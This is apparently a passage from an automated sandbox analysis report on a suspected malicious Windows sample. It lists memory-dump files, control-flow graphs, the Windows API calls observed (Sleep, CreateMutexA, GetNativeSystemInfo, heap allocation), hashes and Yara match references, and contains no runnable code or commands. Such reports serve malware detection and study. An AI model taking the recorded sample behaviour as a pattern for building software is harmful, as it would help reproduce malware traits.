                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: 8f393283ba93bd008a6fff12ec4fbc426005a5c3b3c541594ffcbe5584a9cad4
                                                                                                                                                                                                                                                              • Instruction ID: 9dd4a80e826fe047a3b2161254c0ee2b5bdf7bbb23eb4720b40b91b719c1523b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 8f393283ba93bd008a6fff12ec4fbc426005a5c3b3c541594ffcbe5584a9cad4
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 95217F70355201CAFB2C677CA89AB7DB621FFC1310F25483AE544F73D5CA7A89418A93
                                                                                                                                                                                                                                                              Function 0086A34F Relevance: 3.1, APIs: 2, Instructions: 100sleepsynchronizationCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 502 86a34f-86a35b 503 86a371-86a39a call 87d663 502->503 504 86a35d-86a36b 502->504 510 86a39c-86a3a8 503->510 511 86a3c8-86a916 call 8780c0 503->511 504->503 505 86a93a 504->505 508 86a953-86a994 Sleep CreateMutexA 505->508 509 86a93a call 896c6a 505->509 517 86a996-86a998 508->517 518 86a9a7-86a9a8 508->518 509->508 512 86a3be-86a3c5 call 87d663 510->512 513 86a3aa-86a3b8 510->513 512->511 513->505 513->512 517->518 521 86a99a-86a9a5 517->521 521->518
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • Sleep.KERNEL32(00000064), ref: 0086A963
                                                                                                                                                                                                                                                              • CreateMutexA.KERNEL32(00000000,00000000,008C3254), ref: 0086A981
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: CreateMutexSleep
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1464230837-0
                                                                                                                                                                                                                                                              • Opcode ID: e9435f50a3da1f2baad8b8e6bf6034fd86de856d943046a243ee1242e323595a
                                                                                                                                                                                                                                                              • Instruction ID: 735d253639222ead9ff84f376f5089d7375eb773c5a1d4e1a350cde8673cdac5
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: e9435f50a3da1f2baad8b8e6bf6034fd86de856d943046a243ee1242e323595a
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C62148313402049BEB0C9B6CE9897ADBB32FBA1311F24822DE518EB3D4C77595808A52
                                                                                                                                                                                                                                                              Function 050B0612 Relevance: 2.8, Strings: 2, Instructions: 333COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 561 50b0612-50b0620 562 50b05bf-50b05c8 561->562 563 50b0622-50b0a9c call 50b0725 call 50b09f6 call 50b0a9e 561->563 568 50b05cf-50b05ed call 50b05ef 562->568 624 50b0a9e 563->624 625 50b0aa3-50b0b66 call 50b0b76 563->625 575 50b05ef-50b05f3 568->575 576 50b05f4-50b05fe 568->576 575->576 624->625
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2187191531.00000000050B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 050B0000, based on PE: false
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_50b0000_file.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID:
                                                                                                                                                                                                                                                              • String ID: `$`
                                                                                                                                                                                                                                                              • API String ID: 0-3752478910
                                                                                                                                                                                                                                                              • Opcode ID: 9c1ba353ce8867150212ad22c4314b3a2ccabbb2deeb8c81ae48f04a4153f468
                                                                                                                                                                                                                                                              • Instruction ID: e569c07e53837b7e0e247aef5bec1ebe6888377cedd4ad43513217c5ed15e934
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 9c1ba353ce8867150212ad22c4314b3a2ccabbb2deeb8c81ae48f04a4153f468
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 8A610EEB68C221BD7142C1823BFCAFF6A6FE1D7630330852AF447DA642E6D44A4951B1
                                                                                                                                                                                                                                                              Function 00867D30 Relevance: 1.9, APIs: 1, Instructions: 426COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 636 867d30-867db2 call 8940f0 640 868356-868373 call 87cff1 636->640 641 867db8-867de0 call 877a00 call 865c10 636->641 648 867de4-867e06 call 877a00 call 865c10 641->648 649 867de2 641->649 654 867e0a-867e23 648->654 655 867e08 648->655 649->648 658 867e54-867e7f 654->658 659 867e25-867e34 654->659 655->654 662 867eb0-867ed1 658->662 663 867e81-867e90 658->663 660 867e36-867e44 659->660 661 867e4a-867e51 call 87d663 659->661 660->661 664 868374 call 896c6a 660->664 661->658 668 867ed7-867edc 662->668 669 867ed3-867ed5 GetNativeSystemInfo 662->669 666 867ea6-867ead call 87d663 663->666 667 867e92-867ea0 663->667 676 868379-86837f call 896c6a 664->676 666->662 667->664 667->666 673 867edd-867ee6 668->673 669->673 674 867f04-867f07 673->674 675 867ee8-867eef 673->675 681 8682f7-8682fa 674->681 682 867f0d-867f16 674->682 679 867ef5-867eff 675->679 680 868351 675->680 684 86834c 679->684 680->640 681->680 687 8682fc-868305 681->687 685 867f18-867f24 682->685 686 867f29-867f2c 682->686 684->680 685->684 689 8682d4-8682d6 686->689 690 867f32-867f39 686->690 691 868307-86830b 687->691 692 86832c-86832f 687->692 693 8682e4-8682e7 689->693 694 8682d8-8682e2 689->694 695 867f3f-867f9b call 877a00 call 865c10 call 877a00 call 865c10 call 865d50 690->695 696 868019-8682bd call 877a00 call 865c10 call 877a00 call 865c10 call 865d50 call 877a00 call 865c10 call 865730 call 877a00 call 865c10 call 877a00 call 865c10 call 865d50 call 877a00 call 865c10 call 865730 call 877a00 call 865c10 call 877a00 call 865c10 call 865d50 call 877a00 call 865c10 call 865730 call 877a00 call 865c10 call 877a00 call 865c10 call 865d50 call 877a00 call 865c10 call 865730 690->696 697 868320-86832a 691->697 698 86830d-868312 691->698 699 868331-86833b 692->699 700 86833d-868349 692->700 693->680 701 8682e9-8682f5 693->701 694->684 721 867fa0-867fa7 695->721 735 8682c3-8682cc 696->735 697->680 698->697 703 868314-86831e 698->703 699->680 700->684 701->684 703->680 723 867fab-867fcb call 898bbe 721->723 724 867fa9 721->724 730 868002-868004 723->730 731 867fcd-867fdc 723->731 724->723 730->735 736 86800a-868014 730->736 733 867ff2-867fff call 87d663 731->733 734 867fde-867fec 731->734 733->730 734->676 734->733 735->681 740 8682ce 735->740 736->735 740->689
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00867ED3
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184918217.0000000000A81000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184939465.0000000000A8D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184959874.0000000000AA2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184978052.0000000000AA7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184996324.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185013598.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185031830.0000000000AB2000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185054476.0000000000AB7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185073468.0000000000AC6000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185089743.0000000000AC7000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185107307.0000000000AC8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185125452.0000000000ACA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185141495.0000000000ACB000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185159066.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185176949.0000000000ADA000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185193902.0000000000ADD000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185214033.0000000000AE5000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185230273.0000000000AE8000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185251215.0000000000B02000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B03000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185272079.0000000000B25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185319667.0000000000B3B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185337642.0000000000B3C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185357591.0000000000B51000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185378039.0000000000B52000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185395552.0000000000B57000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185424995.0000000000B59000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185447746.0000000000B67000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2185464356.0000000000B68000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_860000_file.jbxd
                                                                                                                                                                                                                                                              Yara matches
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: InfoNativeSystem
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1721193555-0
                                                                                                                                                                                                                                                              • Opcode ID: 86f59a1eae1959c663c76bf8848b8be1eff6cc2b09df09867bfdf8e37ef554ac
                                                                                                                                                                                                                                                              • Instruction ID: 0afc671444b5ed29b6b2d42a16eb3291ba3dc8d0dc06798dc14e863f54f595bc
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 86f59a1eae1959c663c76bf8848b8be1eff6cc2b09df09867bfdf8e37ef554ac
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 19E1E170E002549BDB25BB288D0BB9D7A71FB41724F95429CE419EB3C2DB358E958BC3
                                                                                                                                                                                                                                                              Function 0089D82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,0089A813,00000001,00000364,00000006,000000FF,?,0089EE3F,?,00000004,00000000,?,?), ref: 0089D871
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184501972.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184521410.00000000008C2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184582084.00000000008C9000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184601022.00000000008CB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184618120.00000000008D7000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184719906.0000000000A25000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184738707.0000000000A27000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A38000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184763815.0000000000A43000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184802570.0000000000A4B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184823760.0000000000A4F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184851192.0000000000A76000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184867845.0000000000A77000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184885198.0000000000A78000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 00000000.00000002.2184902267.0000000000A79000.00000040.00000001.01000000.00000003.sdmpDownload File
